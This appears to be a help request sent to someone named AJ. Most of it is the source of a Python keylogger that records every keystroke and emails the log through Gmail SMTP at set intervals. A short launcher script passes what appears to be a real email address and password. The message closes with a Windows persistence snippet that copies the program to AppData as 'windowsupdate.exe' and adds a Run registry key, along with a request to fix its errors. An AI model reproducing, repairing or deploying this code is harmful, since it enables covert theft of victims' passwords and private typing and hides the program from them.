Hello AJ,
Below is the source code of the kelogger and and zlogger,
Keylogger:
#!/usr/bin/env python
import pynput.keyboard
import threading
import smtplib
class Keylogger:
def __init__(self, time_interval, email, password):
self.log = “Keylogger started”
self.interval = time_interval
self.email = email
self.password = password
def append_to_log(self, string):
self.log = self.log + string
def process_key_press(self, key):
try:
current_key = str(key.char)
except AttributeError:
if key == key.space:
current_key = ” ”
else:
current_key = ” ” + str(key) + ” ”
self.append_to_log(current_key)
def report(self):
self.send_mail(self.email, self.password, “\n\n” + self.log)
self.log = “”
timer = threading.Timer(self.interval, self.report)
timer.start()
def send_mail(self, email, password, message):
server = smtplib.SMTP(“smtp.gmail.com”, 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
def start(self):
keyboard_listener =pynput.keyboard.Listener(on_press=self.process_key_press)
with keyboard_listener:
self.report()
keyboard_listener.join()
================
Zlogger
#!/usr/bin/env python
import keylogger
my_keylogger = keylogger.Keylogger(120, “[email protected]”, “alexnuga2”)
my_keylogger.start()
========================================
And i tried to use this code below to make the zlogger persistent in Window, but i keep on having error
import shutill
import sys
self.become_persistent()
def become_persistent(self):
location = os.environ[“appdata”] + “\\windowsupdate.exe”
if not os.path.exists(location):
shutil.copyfile(sys.executable, location)
subprocess.call(‘reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Update /t REG_SZ /d “‘ + location + ‘”‘, shell=True)
I will looking forward to hear from you with solution.
Regards.